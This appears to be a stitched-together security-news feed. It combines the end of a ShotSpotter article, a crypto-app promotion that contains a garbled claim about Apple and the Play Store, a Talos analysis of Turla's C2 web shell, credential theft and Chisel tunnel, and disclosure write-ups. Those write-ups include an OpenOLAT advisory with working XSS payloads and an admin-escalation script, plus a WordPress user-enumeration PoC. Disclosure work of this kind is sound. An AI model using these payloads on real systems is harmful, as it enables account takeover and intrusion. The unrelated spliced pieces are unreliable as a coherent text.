The locations of microphones used to detect gunshots have been kept hidden from police and the public. A WIRED analysis of leaked coordinates confirms arguments critics have made against the technology.

Finding shell casings can be extremely difficult. A Los Angeles Police Department officer not authorized to speak to the media tells WIRED they’ve spent “hours” searching for bullet casings. Just because officers don’t find evidence of gunfire, they say, doesn’t mean it didn’t happen.

While SoundThinking says its alerts are reviewed by its Incident Review Center before being sent to the police, in Pasadena, officers who investigated ShotSpotter alerts reported that the suspected gunfire was sometimes something else entirely: a car backfiring, construction noise, or fireworks, Knock LA reported.

Chris Baumohl, an EPIC Law Fellow and coauthor of the petition to the DOJ, tells WIRED that our findings confirm what the nonprofit wrote in their petition in September: that ShotSpotter surveillance disproportionately occurs in communities of color. He also alleges that the technology primes police to go into minority communities believing that shots are fired, whether accurate or not. The result, Baumohl argues, is that community members are more likely to be picked up on bench warrants, misdemeanors, and for other reasons unrelated to guns.

In February, a leaked internal report from the State's Attorney’s Office in Illinois’ Cook County, where Chicago is located, found that nearly a third of arrests stemming from a ShotSpotter alert had nothing to do with a gun, Baumohl points out. On February 13, Chicago mayor Brandon Johnson, a vocal critic of ShotSpotter, said the city won't renew its contract with SoundThinking.

According to SoundThinking’s Chittum, the idea that police show up to ShotSpotter alerts ready to make arrests is speculation based on a few high-profile incidents. Instead, he argues that ShotSpotter provides law enforcement with accurate data to engage the community safely. “It allows police to knock on a door and tell residents, ‘Hey, we got a report of gunfire, we are just checking to see if everyone is OK. Did you hear anything? Did you see anything? If you do, please call us; we care, and we’ll come.’”

Ultimately, Chittum argues, ShotSpotter is simply a tool. When used correctly it can help police-community relations. “It’s up to the police to decide how they use it,” he says.

But what happens on the ground often paints a more complicated picture than what Chittum describes. WIRED reviewed body camera footage and police records of a 2022 ShotSpotter arrest in Cincinnati. According to the records, at 8:21 pm on New Year's Eve, police officers were dispatched to an area where two loud sounds were picked up by SoundThinking sensors. When the officers arrived, they quickly detained a tall man in a blue hoodie and black jacket who was standing near the corner where the technology had indicated gunfire.

According to police records, there were nine officers on the scene that night. Body camera footage shows one of the officers rifling through the man’s pockets as others milled around. Some pointed their flashlights at the ground or in the windows of parked cars. Others chatted, speculating about the potential whereabouts of bullet casings.

“I’m glad we could come out and help,” a sergeant watching the man being searched tells the officer standing next to him.

Police never found a bullet casing, gun, or bullet hole. They arrested the man anyway. After running his name through their on-car computer, they discovered he had warrants out for his arrest. He had failed to appear in court for traffic violations.

_Additional data analysis by Matt Casey, data science content lead at Snorkel AI, a firm that helps companies with AI projects and builds custom AI with its data development platform._

_Updated 2/23/2024, 12:15 pm EST to clarify that the list of sensors included in the document WIRED obtained may not include every ShotSpotter microphone._

Here Are the Secret Locations of ShotSpotter Gunfire Sensors

By Uzair Amir
Meet Curium by Bluzelle, a new Miner Pool app.
This is a post from HackRead.com Read the original post: Bluzelle’s Curium App Makes Crypto Earning Effortless

Bluzelle, a Singapore-based decentralized storage company, is making it easier than ever to earn cryptocurrency with the launch of Curium, a new Miner Pool app. Curium allows anyone to contribute storage space and security to Bluzelle’s network and earn BLZ tokens in return, all from their computer or mobile device.

Traditionally, running nodes for blockchain projects has been a complex process requiring technical expertise and expensive hardware. Curium eliminates these barriers by offering a user-friendly app that works on any device, regardless of operating system.

The good news is that Bluzelle solves this by making it easy for anyone to install the Curium app on their computers or mobile devices. This app works on any operating system, including Windows, Mac, Linux, Android, or iOS. Once installed, users simply need to provide their Bluzelle wallet address.

Their device then becomes a “just in time” (JIT) storage node service provider, earning BLZ tokens for the fractional times their machine is online. This operation is similar to an Ethereum PoS pooler miner app, where anyone can install the app on their PC and start earning fractional amounts of ETH based on their device’s uptime.

However, it’s worth mentioning that users must remain alert against fake crypto apps created by scammers targeting iOS, Android, and Windows devices. Recently, Apple approved a fake wallet app on the Play Store that stole user data.

Similarly, Microsoft permitted a fake fundraising app that siphoned almost a million dollars from users. Furthermore, Google has been involved in multiple incidents where fake apps led to the theft of users’ funds. Therefore, it is significant to note that the Curium app is expected to be released by the end of 2024.

“The Curium storage node application is one of the core technologies we envisioned when we launched Bluzelle’s white paper over six years ago,” said Neeraj Murarka, co-founder and CTO of Bluzelle. “Now anyone can become part of our decentralized infrastructure network and earn rewards for simply having their device online.”

With Curium, users can contribute to the security and storage of Bluzelle’s network while earning BLZ tokens. This opens up the world of cryptocurrency to a wider audience, making it easier for anyone to participate in the Web3 revolution.

1.  **Navigating the new frontier of cryptocurrency futures**
2.  **What the Bitcoin ETF Approval Mean for the Crypto Market** 
3.  **Powerloom to Hold First Ever Node Mint on Polygon Network**
4.  **Exploring the Phenomenal Rise of Ethereum as a Digital Asset**
5.  **The Anatomy of Trading Bot Scams: Strategies for Secure Investments**

Bluzelle’s Curium App Makes Crypto Earning Effortless

Cisco Talos, in cooperation with CERT.NGO, has discovered new malicious components used by the Turla APT. New findings from Talos illustrate the inner workings of the command and control (C2) scripts deployed on the compromised WordPress servers utilized in the compromise we previously disclosed.

*   Cisco Talos, in cooperation with CERT.NGO, has discovered new malicious components used by the Turla APT. New findings from Talos illustrate the inner workings of the command and control (C2) scripts deployed on the compromised WordPress servers utilized in the compromise we previously disclosed.

*   Talos also illustrates the post-compromise activity carried out by the operators of the TinyTurla-NG (TTNG) backdoor to issue commands to the infected endpoints. We found three distinct sets of PowerShell commands issued to TTNG to enumerate, stage and exfiltrate files that the attackers found to be of interest.

*   Talos has also discovered the use of another three malicious modules deployed via the initial implant, TinyTurla-NG, to maintain access, and carry out arbitrary command execution and credential harvesting.

*   One of these components is a modified agent/client from Chisel, an open-sourced attack framework, used to communicate with a separate C2 server to execute arbitrary commands on the infected systems.

*   Certificate analysis of the Chisel client used in this campaign indicates that another modified chisel implant has likely been created that uses a similar yet distinct certificate. This assessment is in line with Turla’s usage of multiple variants of malware families including TinyTurla-NG, TurlaPower-NG and other PowerShell-based scripts during this campaign.

Talos, in cooperation with CERT.NGO, has discovered new malicious components used by the Turla APT in the compromise we’ve previously disclosed. The continued investigation also revealed details of the inner workings of the C2 scripts including handling of incoming requests and a WebShell component that allows the operators to administer the compromised C2 servers remotely.

**C2 server analysis**

The command and control (C2) code is a PHP-based script that serves two purposes: It’s a handler for the TinyTurla-NG implants and web shell that the Turla operators can use to execute commands on the compromised C2 server. The C2 scripts obtained by Talos are complementary to the TinyTurla-NG (TTNG) and TurlaPower-NG implants and are meant to deliver executables and administrative commands to execute on infected systems.

On load, the PHP-based C2 script will perform multiple actions to create the file structure used to serve the TTNG backdoor. After receiving a request, the C2 script first checks if the logging directory exists, if not, it will create one. Next, the script checks for a specific COOKIE ID. If it exists and corresponds to the hardcoded value, then the C2 script will act as a web shell.

It will base64 decode the value of the $\_COOKIE (not to be confused with the authentication COOKIE ID) entry and execute it on the C2 server as a command. These commands are either run using the exec(), passthru(), system(), or shell\_exec() functions. It will also check if the variable specified is a resource and read its contents. Once the actions are complete, the output or resource is sent to the requestor and the PHP script will stop executing.

C2 script’s web shell capability.

If there is an “id” provided in the HTTP request to the C2 server, the script will treat this as communication with an implant, such as TTNG or TurlaPower-NG. The “id” parameter is the same variable that is passed by the TTNG and TurlaPower-NG implants during communication with the C2 and creates the logging directory on the C2 server, as well. Depending on the next form value accompanying the “id”, the C2 will perform the following actions:

*   "**task**": Write the content sent by the requestor to the “<id>/tasks.txt” file and record the requestor’s IP address and timestamp in the “<id>/\_log.txt”. The contents of this file are then sent to the requestor in response to the “gettask” request. This mechanism is used by the attackers to add more tasks to the list of tasks/commands that each C2 must send to their backdoor installations to execute on the infected endpoints.

*   "**gettask**": Send the contents of the “<id>/tasks.txt” file to the infected system requesting a new command to execute on the infected endpoint.

*   "**result**": Get the content of the HTTP(S) form and record it into the “<id>/result.txt” file. The C2 uses this mechanism to obtain and record the output of a command executed on an infected endpoint by the TTNG backdoor into a file on disk.

*   "**getresult**": Get the contents of the “<id>/result.txt” file from the C2 server. The adversaries use this to obtain the results of a command executed on the infected endpoint without having to access the C2 server.

*   "**file**" + "**name**": Save the contents of the file sent to the C2 server either in full or part to a file specified on the C2 server with the same “name” specified in the HTTP form.

*   "**cat\_file**": Read the contents of a file specified by the requestor on the C2 server and respond with the contents.

*   "**rm\_file**": Remove/delete a file specified by the requestor from the C2 server.

The C2 script’s request handling logic.

The HTTP form values accepted by the C2 server “task”, “cat\_file”, “rm\_file”, “get\_result” and their corresponding operations on the C2 server indicate that these are part of an operational apparatus that allows the threat actors to feed the C2 server new commands and retrieve valuable information collected by the C2 server, _from a remote location_, without having to log into the C2 itself. Operationally, this is a tactic that is beneficial to the threat actors considering that all C2 servers discovered so far are websites compromised by the threat actor instead of being attacker-owned. Therefore, it would be beneficial for Turla’s operators to simply communicate over HTTPS masquerading as legitimate traffic instead of re-exploiting or accessing the servers through other means such as SSH thereby increasing their fingerprint on the compromised C2 servers.

This tactic can be visualized as:

**Instrumenting TinyTurla-NG to carry out post-compromise activity**

The adversaries use TinyTurla-NG to perform additional reconnaissance to enumerate files of interest on the infected endpoints and then exfiltrate these files. They issued three distinct sets of modular PowerShell commands to TTNG:

*   **Reconnaissance commands:** Used to enumerate files in a directory specified by the operator. The directory listing is returned to the operator to select interesting files that can be exfiltrated.

PowerShell script/Command enumerates files in four locations specified by the C2 and sends the results back to it.

*   **Copy file commands:** Base64-encoded commands/scripts issued to the infected systems to copy over files of interest from their original location to a temporary directory, usually: C:\\windows\\temp\\

PowerShell script copies files to an intermediate location.  

*   **Exfiltration** **commands/scripts aka TurlaPower-NG:** These scripts were used to finally exfiltrate the selected files to the C2 servers.

The scripts used during enumeration, copying and exfiltration tasks contain hardcoded paths for files and folders of interest to Turla. These locations consisted of files and documents that were used and maintained by Polish NGOs to conduct their day-to-day operations. The actors also used these scripts to exfiltrate Firefox profile data, reinforcing our assessment that Turla made attempts to harvest credentials, along with data exfiltration.

While Tinyturla-NG itself is enough to perform a variety of unauthorized actions on the infected system using a combination of scripts described above, the attackers chose to deploy three more tools to aid in their malicious operations:

*   Chisel: Modified copy of the Chisel client/agent.

*   Credential harvesting scripts: PowerShell-based scripts for harvesting Google Chrome or Microsoft Edge’s saved login data.

*   Tool for executing commands with elevated privileges: A binary that is meant to impersonate privilege levels of a specified process while executing arbitrary commands specified by the parent process.

The overall infection activity once TTNG has been deployed looks like this:

**Using Chisel as another means of persistent access**

Talos’ investigation uncovered that apart from TurlaPower-NG, the PowerShell-based file exfiltrator, the adversary also deployed another implant on infected systems. It’s a modified copy of the GoLang-based, open-source tunneling tool Chisel stored in the location: C:\\Windows\\System32\\TrustedWorker\[.\]exe

The modified Chisel malware is UPX compressed, as is common for Go binaries, and contains the C2 URL, port and communication certificate, and private keys embedded in the malware sample. Once it decrypts these artifacts, it continues to create a reverse SOCKS proxy connection to the C2 using the configuration: R:5000:socks

In the proxy:

*   **“R”:** Stands for remote port forwarding.
*   **“5000”**: This is the port on the attacker machine that receives the connection from the infected system.
*   **“socks”**: Specifies the usage of the SOCKS protocol. 

(The default local host and port for a socks remote in Chisel is 127\[.\]0\[.\]0\[.\]1:1080)

The C2 server that the chisel sample contacts is: 91\[.\]193\[.\]18\[.\]120:443.

The TLS configuration consists of a client TLS certificate and key pair. The certificate is valid from between Dec. 7, 2023 and Dec. 16, 2024. This validity falls in line with Talos’ assessment that the campaign began in December 2023. The issuer of the certificate is named as “dropher\[.\]com” and the subject name is “blum\[.\]com”.

TLS Certificate for the chisel malware used by Turla. 

During our data analysis, we found another certificate which we assessed with high confidence was also generated by Turla operators, but it's unclear if this was a mistake or they intended for the certificate to be used on another modified chisel implant. 

Certificate issuer DN.

The new certificate has the same issuer but in this case, the common name is _blum\[.\]com_ and the serial number is 0x1000. This certificate was generated one second before the one used in the modified chisel client/agent.

Turla also deployed two more tools to aid their malicious operations on the infected systems. One is used to run arbitrary commands on the system and the other is used to steal Microsoft Edge browser’s login data.

The first tool is a small and simple Windows executable to create a new command line process on the system by impersonating the privilege level of another existing process. The tool will accept a target Process Identifier (PID) representing the process whose privilege level is to be impersonated and the command line that needs to be executed. Then, a new cmd\[.\]exe is spawned and used to execute arbitrary commands on the infected endpoint. The binary was compiled in early 2022 and was likely used in previous campaigns by Turla.

The tool contains the embedded cmd\[.\]exe command line.

The second tool discovered by Talos is a PowerShell script residing at the location:

C:\\windows\\system32\\edgeparser.ps1

This script is used to find  login data from Microsoft Edge located at:

%userprofile%\\AppData\\Local\\Microsoft\\Edge\\User Data\\Default\\Login Data

This data file and the corresponding decryption key for the login data extracted from the endpoint is archived into a ZIP file and stored in the directory: C:\\windows\\temp\\<filename>.zip

The script can be used to obtain credentials for Google Chrome as well but has been modified to parse login data from:

%userprofile%\\AppData\\Local\\Microsoft\\Edge

PowerShell script obtaining key and login data to add to the archive for exfiltration.

TTNG uses the privilege elevation tool to run the PowerShell script using the command:

"C:\\Windows\\System32\\i.exe" \_PID\_ "powershell -f C:\\Windows\\System32\\edgeparser.ps1"

This results in the tool spawning a new process with the command line:

C:\\Windows\\System32\\cmd.exe /c "powershell -f C:\\Windows\\System32\\edgeparser.ps1"

**Coverage**

Ways our customers can detect and block this threat are listed below.

Cisco Secure Endpoint (formerly AMP for Endpoints) is ideally suited to prevent the execution of the malware detailed in this post. Try Secure Endpoint for free here.

Cisco Secure Web Appliance web scanning prevents access to malicious websites and detects malware used in these attacks.

Cisco Secure Email (formerly Cisco Email Security) can block malicious emails sent by threat actors as part of their campaign. You can try Secure Email for free here.

Cisco Secure Firewall (formerly Next-Generation Firewall and Firepower NGFW) appliances such as Threat Defense Virtual, Adaptive Security Appliance and Meraki MX can detect malicious activity associated with this threat.

Cisco Secure Malware Analytics (Threat Grid) identifies malicious binaries and builds protection into all Cisco Secure products.

Umbrella, Cisco's secure internet gateway (SIG), blocks users from connecting to malicious domains, IPs and URLs, whether users are on or off the corporate network. Sign up for a free trial of Umbrella here.

Cisco Secure Web Appliance (formerly Web Security Appliance) automatically blocks potentially dangerous sites and tests suspicious sites before users access them.

Additional protections with context to your specific environment and threat data are available from the Firewall Management Center.

Cisco Duo provides multi-factor authentication for users to ensure only those authorized are accessing your network.

Open-source Snort Subscriber Rule Set customers can stay up to date by downloading the latest rule pack available for purchase on Snort.org.

**IOCS**

IOCs for this research can also be found at our GitHub repository here.

**Hashes**

267071df79927abd1e57f57106924dd8a68e1c4ed74e7b69403cdcdf6e6a453b  
d6ac21a409f35a80ba9ccfe58ae1ae32883e44ecc724e4ae8289e7465ab2cf40  
ad4d196b3d85d982343f32d52bffc6ebfeec7bf30553fa441fd7c3ae495075fc  
13c017cb706ef869c061078048e550dba1613c0f2e8f2e409d97a1c0d9949346  
b376a3a6bae73840e70b2fa3df99d881def9250b42b6b8b0458d0445ddfbc044

**Domains**

hanagram\[.\]jp  
thefinetreats\[.\]com  
caduff-sa\[.\]ch  
jeepcarlease\[.\]com  
buy-new-car\[.\]com  
carleasingguru\[.\]com

**IP Addresses**

91\[.\]193\[.\]18\[.\]120

TinyTurla-NG in-depth tooling and command and control analysis

OpenOLAT versions 18.1.4 and below and versions 18.1.5 and below suffer from multiple persistent cross site scripting vulnerabilities.

SEC Consult Vulnerability Lab Security Advisory < 20240220-0 >  
=======================================================================  
               title: Multiple Stored Cross-Site Scripting Vulnerabilities  
             product: OpenOLAT (Frentix GmbH)  
  vulnerable version: <= 18.1.4 and <= 18.1.5  
       fixed version: 18.1.6 / 18.2  
          CVE number: CVE-2024-25973, CVE-2024-25974  
              impact: High  
            homepage: https://www.openolat.com/  
               found: 2023-12-20 and 2024-01-20  
                  by: Mike Klostermaier (Office Berlin)  
                      Johannes Völpel (Office Berlin)  
                      SEC Consult Vulnerability Lab

                      An integrated part of SEC Consult, an Eviden business  
                      Europe | Asia

                      https://www.sec-consult.com

=======================================================================

Vendor description:  
-------------------  
"frentix operates in the areas of e-learning, software development, multimedia  
and media production. Providing information and lasting impressions – we  
try to reconcile this goal in the area of tension between technology, usability  
and design."

"The LMS OpenOlat is an internet-based learning platform for teaching, learning,  
assessment and communication, an LMS, a learning management system."

Source: https://www.openolat.com/unternehmen/

Business recommendation:  
------------------------  
The vendor provides a patch which should be installed immediately.

SEC Consult highly recommends to perform a thorough security review of the product  
conducted by security professionals to identify and resolve potential further  
security issues.

Vulnerability overview/description:  
-----------------------------------  
1) Multiple Stored Cross-Site-Scripting Vulnerabilities (CVE-2024-25973)  
Insufficient filtering and sanitization of user input leads to the creation  
of groups, courses and other resources that contain XSS payloads.  
This allows an attacker to execute JavaScript code with the permissions of the  
victim in the context of the user's browser.

2) Privilege escalation via XSS due to insecure CSP  
If the content security policy is not set securely and there is content on  
the same page that can be manipulated by the attacker, a privilege  
escalation can take place.

3) Stored Cross-Site-Scripting within the Media Center (CVE-2024-25974)  
Insufficient filtering and sanitization of malicious files uploaded by a user  
leads to stored resources within the Media Center that could contain XSS payloads.  
This allows an attacker to execute JavaScript code with the permissions of the  
victim in the context of the user's browser.

Proof of concept:  
-----------------  
1) Multiple Stored Cross-Site-Scripting Vulnerabilities (CVE-2024-25973)  
Various XSS issues have been found in different functions of OpenOLAT.  
The following examples show different attack scenarios.

Example 1 - Stored Cross-Site-Scripting within Coursenames  
Due to insufficient filtering and sanitization of user input, an attacker  
with rights to create or edit groups can create a course with a name that  
contains an XSS payload. When a user edits this course the name including  
the payload is displayed and executed. Furthermore, the XSS payload is  
executed when editing the course via the course-editor, within the course-editor's  
"layout" tab inside the preview. This also happens multiple times at multiple  
locations during the publishing workflow.

The following payload was used as coursename:  
```  
<img src=x onerror=alert('from\u0020subcat\u0020title')>  
```

Example 2 - Stored Cross-Site-Scripting within Catalogname  
An attacker, who is authenticated with rights that allow creating or renaming  
catalogs, is able to create a catalog (also called sub-category) with a name that  
contains an XSS payload due to insufficient filtering and sanitization of user  
input.  
When a user publishes a course, the name of the catalog including the  
payload is displayed and executed within the "Create catalog entry" tab  
when selecting "Add to catalog".

The following payload was used as the catalog name:  
```  
<img src=x onerror=alert('from\u0020subcat\u0020title')>  
```

Example 3 - Stored Cross-Site-Scripting within Curriculum Management  
An authenticated user of a role, who has the authorization to create  
curriculums, is able to create curriculums, whose name contains a JavaScript  
payload. These are shown to the members in some views where the JavaScript  
payload is executed. To do this, navigate to the overview of the curriculums  
via "Curriculum management".  
A curriculum can be created via the "Create new curriculum" button in the  
window that appears. To recreate the vulnerability, it is sufficient to  
enter a JavaScript payload as the identifier.

The following payload was used as curriculum name:  
```  
<img src=x onerror=alert('from\u0020subcat\u0020title')>  
```  
When a user with sufficient rights opens the manipulated curriculum via the  
"curriculum browser" within the "Curriculum management" the payload within  
the curriculum name gets executed within the context of the user's browser.

Example 4 - Stored Cross-Site-Scripting within Alt-Text of Media-Files  
An attacker, who is authenticated with rights that allow uploading files,  
can upload media files via the "Media Centre" and enter metadata for these  
files. One of the fields used for image metadata is the so-called alt-text  
field, which is used to enter an alternative display text for image files.  
This alternative text is not sanitized properly when entered during the upload  
of files.

The following payload was assigned to an image file as alt-text:  
```  
"><img src=a onerror=alert(document.location)>  
```

The upload of the image file works without further problems and is confirmed.  
After successfully uploading the image with a manipulated alt-text, the  
transmitted payload is executed directly. Using the function to share content  
with other users, this manipulated image can be shared to potential victims  
(e.g. a system administrator). The user to whom the image has been shared with  
can preview it in their media center. As soon as the user views the image details,  
the JavaScript payload stored within the alt-text is executed in the context  
of the victim's browser.

2) Privilege escalation due to unsafe-eval  
If the content security policy is not set securely and there is content on the  
same page that can be manipulated by the attacker, a privilege escalation  
can take place. As the content security policy is set to "Report-Only" and  
"unsafe-eval" is set by default in OpenOLAT, it can be possible to use the  
following attack at least in most cases shown here using stored XSS.

An example that loads a script from an external source was not used here,  
as this would not have been possible with an activated CSP, whereas this  
vulnerability can also be exploited with an activated standard CSP from  
OpenOLAT.  
The following example can be used at any given point where a XSS is possible  
and another string can be manipulated within a readable context:  
```  
"><img src=x onerror='var ps = document.querySelectorAll(`p`); for (var i = 0; i  
< ps.length; i++) { var c = ps[i].textContent; if (c.startsWith(`YXN`))  
{ eval(atob(c)); } }'  
```

This JavaScript code searches the website for elements that begin  
with a certain string (in our example "YXN"), decodes them from base64 and  
executes them (due to the unsafe-eval policy) as JavaScript code.  
This has been tested to be working with example 4 with the above payload  
as the alt-text and the payload mentioned below as the description of the  
media file.  
The string "YXN" is the start of the base64-encoded following payload:  
```  
async function main() {  
     function sleep(ms) {  
         return new Promise(resolve => setTimeout(resolve, ms));  
     }  
     var n = 2000;  
     var anchorElement = document.querySelector('a[title="Manage users and system groups"]');  
  anchorElement.click();  
     await sleep(n);  
     var buttons = document.querySelectorAll('a[title="Organisations"]');  
     buttons[0].click();  
     await sleep(n);  
     var links = document.querySelectorAll('a');  
     var organisationLink = Array.from(links).find(function (link) {  
         return link.textContent === 'OpenOLAT';  
     });  
     organisationLink.click();  
     await sleep(n);  
     var links = document.querySelectorAll('a');  
     var chadLink = Array.from(links).find(function (link) {  
         return link.textContent === 'Chad';  
     });  
     await sleep(n);  
     chadLink.click();  
     await sleep(n);  
     var roleTabLinks = document.querySelectorAll('a[role="tab"]');  
     var rolesLink = Array.from(roleTabLinks).find(function (link) {  
         return link.textContent === 'Roles';  
     });  
     await sleep(n);  
     rolesLink.click();  
     await sleep(n);  
     var inputElement = document.querySelector('input[value="administrator"]');  
     inputElement.click();  
     await sleep(n);  
     var inputElement = document.querySelector('input[value="sysadmin"]');  
     inputElement.click();  
     await sleep(n);  
     var saveButton = document.querySelector('button[value="Save"]');  
     saveButton.click();  
}  
main();  
```

The code shown here utilizes the static structure of OpenOLAT. The use of  
control elements is predictable, as long as the name of the organization used  
within the OpenOLAT instance is known. This information is freely accessible to  
every logged-in user. Lines 14 and 20 contain variables which must be adapted  
to the corresponding OpenOLAT instance and attacker username. The executed  
script searches for HTML elements with predictable names in order to navigate  
to an administrative interface within the application and elevate the  
attacker's rights to administrative level.

The script works with two-second pauses between the individual actions  
to ensure that all actions are only executed after the page has loaded. Even  
if this is visible to the victim, the waiting times between the actions can be  
optimized in a real attack and can also be used with the help of obfuscation  
measures (e.g. additional windows that open and hide the actions).

3) Stored Cross-Site-Scripting (XSS) within the Media-Center (CVE-2024-25974)  
It is possible to upload files within the Media Center of OpenOLAT version 18.1.5  
as an authenticated user without any other rights.  
While the filetypes are limited, an SVG containing an XSS payload can be  
uploaded. The following content has been uploaded within a file  
named 'xss.svg':  
```  
<?xml version="1.0" standalone="no"?>  
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">  
<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">  
<script type="text/javascript">  
     alert(document.location);  
</script>  
</svg>  
```

After a successful upload the file can be shared with groups of users.  
By sharing the file with a group of which an administrator is part of, the  
administrator can access the file and open it, which will open the file in a  
new tab within the browser. This leads to the execution of the shown script and  
will display a message window stating the current domain and path.

Vulnerable / tested versions:  
-----------------------------  
The following versions has been tested which was the latest version available  
at the time of the test:  
* OpenOLAT 18.1.4 Vulnerability 1 and 2  
* OpenOLAT 18.1.5 Vulnerability 3

OpenOLAT version 18.2 was verified whether the identified issues were properly  
fixed.

Vendor contact timeline:  
------------------------  
2024-01-10: Contacting vendor through contact@frentix.com  
2024-01-10: Very quick vendor response within an hour, sending security  
             advisory to provided contact.  
2024-01-10: Feedback from vendor that we submitted known/already fixed issues  
             for version 18.1.  
             Retesting latest version 18.1.4, but only three of our submitted  
             issues had been fixed before (removed from advisory), found  
             additional, new XSS issues again in latest version.  
2024-01-11: Sending updated security advisory to the vendor.  
2024-01-11: Quick feedback from vendor declaring example 1 to 3 as accepted  
             risk, as authors have a trusted position and XSS is only seen as  
             a risk if the attacker is unauthenticated or has low privileges.  
             Example 4 will be patched with the upcoming release. No comment  
             from the vendor on vulnerability 2 regarding the unsafe default  
             configuration.  
2024-01-11: Sending examples 1 to 3 and explaining the risk potential from an  
             attacker's perspective to the vendor. Co-ordination with the vendor  
             regarding the release date of the new version, which includes a fix  
             for example 4. Asking again about the standard configuration  
             mentioned in vulnerability 2 and the vendor's position or judgement  
             on this.  
2024-01-11: Quick reply from the vendor confirming the release date of the new  
             version on 2024-01-17. With regard to examples 1 to 3, the vendor  
             confirmed that no fix is planned. Reference is made to modules in  
             development which will replace the modules containing  
             vulnerabilities in the course of upcoming releases. With regard  
             to privilege escalation, which is enabled by the CSP in chapter 2,  
             the vendor points out that the "unsafe-eval" or "unsafe-inline"  
             option cannot simply be deactivated in the architecture currently  
             in use. With regard to the "report-only" setting of the CSP, the  
             vendor refers to the lack of possibilities to enforce this on  
             the part of the vendor. However, the vendor advises customers to  
             activate it.  
2024-01-17: Release of version 18.1.5 by the vendor. A fix of example 1, 2 and 4  
             was verified by the researchers within this version. Example 3 as  
             well as the CSP from chapter 2 are still exploitable. The PoC code  
             snipped has been redacted in example 3.  
2024-01-18: Mail from vendor, informing us about the release of the patched  
             version. Vendor states, that the development of OpenOLAT will use  
             all points from this advisory as guidance for further improvements.  
2024-01-19: Sending mail to vendor confirming that the examples 1, 2 and 4  
             are fixed. Submitted updated draft of this advisory.  
2024-01-21: Informing vendor about new found XSS within the Media Center, which  
             has been added to this advisory as vulnerability 3 (SVG).  
2024-01-21: Fast response from vendor informing us, that the found XSS will be  
             fixed with an update at the end of January.  
2024-01-23: Sending mail to the vendor thanking for the quick reply.  
2024-01-31: Release of version 18.1.6 by the vendor.  
2024-02-09: The researchers can confirm, that all vulnerabilities mentioned  
             within chapters 1 and 3 are fixed and can no longer be exploited.  
             Vulnerability 2 still works as documented. Informing the vendor,  
             that we can confirm the fix and thanking again for the quick and  
             solution-oriented communication.  
2024-02-09: Vendor: Systematic search for further XSS issues, version 18.2.1  
             contains even more fixes. Version 19 will have CSP enabled by  
             default.  
2024-02-13: Assigning CVE numbers.  
2024-02-20: Coordinated release of security advisory.

Solution:  
---------  
The vendor provided a patched version 18.1.6 / 18.2 or higher which can be downloaded  
from:  
https://www.openolat.com/releases/

Additionally, it is advised to set the Content-Security-Policy active, instead  
of "Report-Only" as well as configuring it as strictly as possible. The upcoming  
version 19 will enable CSP by default.

Workaround:  
-----------  
None

Advisory URL:  
-------------  
https://sec-consult.com/vulnerability-lab/

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

SEC Consult Vulnerability Lab  
An integrated part of SEC Consult, an Eviden business  
Europe | Asia

About SEC Consult Vulnerability Lab  
The SEC Consult Vulnerability Lab is an integrated part of SEC Consult, an  
Eviden business. It ensures the continued knowledge gain of SEC Consult in the  
field of network and application security to stay ahead of the attacker. The  
SEC Consult Vulnerability Lab supports high-quality penetration testing and  
the evaluation of new offensive and defensive technologies for our customers.  
Hence our customers obtain the most current information about vulnerabilities  
and valid recommendation about the risk profile of new technologies.

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~  
Interested to work with the experts of SEC Consult?  
Send us your application https://sec-consult.com/career/

Interested in improving your cyber security with the experts of SEC Consult?  
Contact our local offices https://sec-consult.com/contact/  
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Mail: security-research at sec-consult dot com  
Web: https://www.sec-consult.com  
Blog: http://blog.sec-consult.com  
Twitter: https://twitter.com/sec_consult

EOF Johannes Völpel & Mike Klostermaier / @2024

OpenOLAT 18.1.5 Cross Site Scripting / Privilege Escalation

WordPress versions 6.4.3 and below appear to suffer from a REST API related username disclosure vulnerability.

    # Title: wordpress 6.4.3 - Username Disclosure# Author: h4shur# date:2024-02-21# Vendor Homepage: https://www.wordpress.org# Software Link: https://www.wordpress.org/download# Version:  6.4.3 and earlier# Tested on: Windows 10 & Google Chrome# Category : Web Application Bugs### Description :the REST API allows simulating different request types. As such, we canperform a POST request with the “users” string in the body of the request,and tell the REST API to act like it’s received a GET request.You can see the management username in the "slug" feature. And evensecurity plugins like "iThemes Security" do not block this path.### POC :https://target.com/wp-json/?rest_route=/wp/v2/users/# output :[{"id":1,"name":"admin","url":"https:\/\/target.com","description":"","link":"https:\/\/target.com\/?author=1","slug":"admin_1l","avatar_urls":{"24":"https:\/\/secure.gravatar.com\/avatar\/f796ffd8af7172647b2f54ce8104919e?s=24&d=mm&r=g","48":"https:\/\/secure.gravatar.com\/avatar\/f796ffd8af7172647b2f54ce8104919e?s=48&d=mm&r=g","96":"https:\/\/secure.gravatar.com\/avatar\/f796ffd8af7172647b2f54ce8104919e?s=96&d=mm&r=g"},"meta":[],"_links":{"self":[{"href":"https:\/\/target.com\/index.php?rest_route=\/wp\/v2\/users\/1"}],"collection":[{"href":"https:\/\/target.com\/index.php?rest_route=\/wp\/v2\/users"}]}}]### Admin Panel :https://target.com/wp-adminhttps://target.com/login.php### contact :h4shursec@gmail.comtwitter.com/h4shurinstagram.com/h4shurt.me/h4shur

WordPress 6.4.3 Username Disclosure

WEBIGniter version 28.7.23 suffers from a persistent cross site scripting vulnerability.

